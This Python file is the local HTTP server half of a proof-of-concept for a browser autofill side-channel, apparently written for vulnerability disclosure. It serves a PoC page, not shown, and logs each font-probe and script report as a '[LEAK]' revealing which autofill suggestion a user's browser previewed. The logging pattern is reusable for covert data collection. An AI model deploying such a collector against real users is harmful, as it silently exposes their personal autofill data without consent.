#!/usr/bin/env python3
"""
HTTP server for the base-select autofill-preview font oracle POC.

Serves poc.html and logs every /probe-N font request to stdout and to
./probe.log. Each probe request reveals which <option> label was rendered
in the select's autofill preview popover -- i.e. leaks the user's
SuggestedValue before any commit.
"""
import http.server
import os
import socketserver
import sys
import threading

PORT = int(os.environ.get("POC_PORT", "8765"))
LOG_PATH = "probe.log"
_log_lock = threading.Lock()


class Handler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        if self.path.startswith("/probe-"):
            tag = self.path.split("?")[0].lstrip("/")
            with _log_lock:
                line = f"[LEAK] font probe requested: {tag}\n"
                sys.stderr.write(line)
                sys.stderr.flush()
                with open(LOG_PATH, "a") as f:
                    f.write(line)
            # Return 404 with CORS so the FontFace load fails cleanly but
            # the *request* has already leaked the suggested option.
            self.send_response(404)
            self.send_header("Access-Control-Allow-Origin", "*")
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
            return
        if self.path.startswith("/report"):
            # JS-side report (document.fonts observer)
            sys.stderr.write(f"[JS-LEAK] {self.path}\n")
            sys.stderr.flush()
            with _log_lock:
                with open(LOG_PATH, "a") as f:
                    f.write(f"[JS-LEAK] {self.path}\n")
            self.send_response(204)
            self.end_headers()
            return
        return super().do_GET()

    def end_headers(self):
        self.send_header("Cache-Control", "no-store")
        super().end_headers()

    def log_message(self, fmt, *args):
        # Quiet default access log; we print our own [LEAK] lines.
        pass


if __name__ == "__main__":
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    open(LOG_PATH, "w").close()
    socketserver.TCPServer.allow_reuse_address = True
    with socketserver.TCPServer(("127.0.0.1", PORT), Handler) as httpd:
        sys.stderr.write(f"Serving on http://127.0.0.1:{PORT}\n")
        sys.stderr.flush()
        httpd.serve_forever()
